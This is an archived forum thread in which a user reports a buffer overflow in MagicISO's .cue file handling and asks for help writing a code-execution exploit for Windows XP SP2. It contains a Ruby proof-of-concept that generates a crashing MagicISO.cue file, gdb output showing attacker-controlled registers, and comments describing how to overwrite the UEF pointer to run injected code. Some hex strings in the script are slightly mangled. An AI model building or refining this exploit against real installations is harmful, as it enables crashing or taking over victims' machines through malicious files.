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Bekijk Volledige Versie : Magic iso heap over flow <Help>



KaCo678@aol.com
23/05/07, 11:15
Ive found a heap over flow in magic iso when opening a .cue file..I was wondering if any one could point me in the right direction to exploiting this as we control the eax and ecx ive seen many diffrent ways of doing this through!peb and uef..Im looking for help in writing a simple poc for service pack 2 xp as i know we cant use!peb method with sp2 im looking for a better way any hellp would be great.


n00b



#!/usr/bin/env ruby
###################################
#Credits to n00b for finding this bug.
#Magic iso has a stacked based buffer over-flow when
#We pass an overly-long file name inside the .cue file
#We are able to control alot of the registers so
#Command execution is possible,But im still learning
#Which means this will get released as a dos poc for
#now till i can get the help i need..Any way i will provide
#The dubug info for you to see for your self..If any one
#Decides to write a Local exploit for this please give
#Credits to n00b..Ok on with the work of info collecting.
#Vendor : http://www.magiciso.com/
#Tested on win xp sp2.
#I would also like to thank the people i emailed and pm about this
#Shouts: ~ Str0ke ~ Marsu ~ SM ~ Aelphaeis ~ vade79
# Thanx to all you guys who helped.
###################################
#...Debug info..
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to thread 1092.0x314]
# 0x0058f05e in ?? ()
# (gdb) i r
# eax 0x41414141 1094795585
# ecx 0x41414141 1094795585
# edx 0x41414141 1094795585
# ebx 0x41414545 1094796613
# esp 0x12f5c8 0x12f5c8
# ebp 0x12f5ec 0x12f5ec
# esi 0xf4e718 16049944
# edi 0xf4eb1c 16050972
# eip 0x58f05e 0x58f05e
# eflags 0x10206 66054
# cs 0x1b 27
# ss 0x23 35
# ds 0x23 35
# es 0x23 35
# fs 0x3b 59
# gs 0x0 0
# fctrl 0xffff1273 -60813
# fstat 0xffff0000 -65536
# ftag 0xffffffff -1
# fiseg 0x0 0
# fioff 0x0 0
# foseg 0xffff0000 -65536
# fooff 0x0 0
# ---Type <return> to continue, or q <return> to quit---
# fop 0x0 0
# (gdb)
###################################
#As you can see from the debug info we control eax ecx edx..
#The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that
#is used to overflow the heap buffer. One of the address can be of a function pointer which needs to be overwritten, for
#example UEF and the other can be address of user supplied code that needs to be executed.

$VERBOSE=nil #~ Shut the fuck up Let me do it my way ruby's over-zealous warnings..

Header1 =
"\x46\x49\x4c\x45\x20\x22"


Bof = 'A'* 2024

Header2 = "\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x 0d\x0a\x20"+
"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x 45\x31\x2f\x32"+
"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x 58\x20\x30\x31"+
"\x20\x30\x30\x3a\x30\x30\x3a\x30\x30"

n00b = Header1 + Bof + Header2

File.open( "MagicISO.cue", "w" ) do |the_file|

the_file.puts (n00b)

end


Original advisory is up on milw0rm..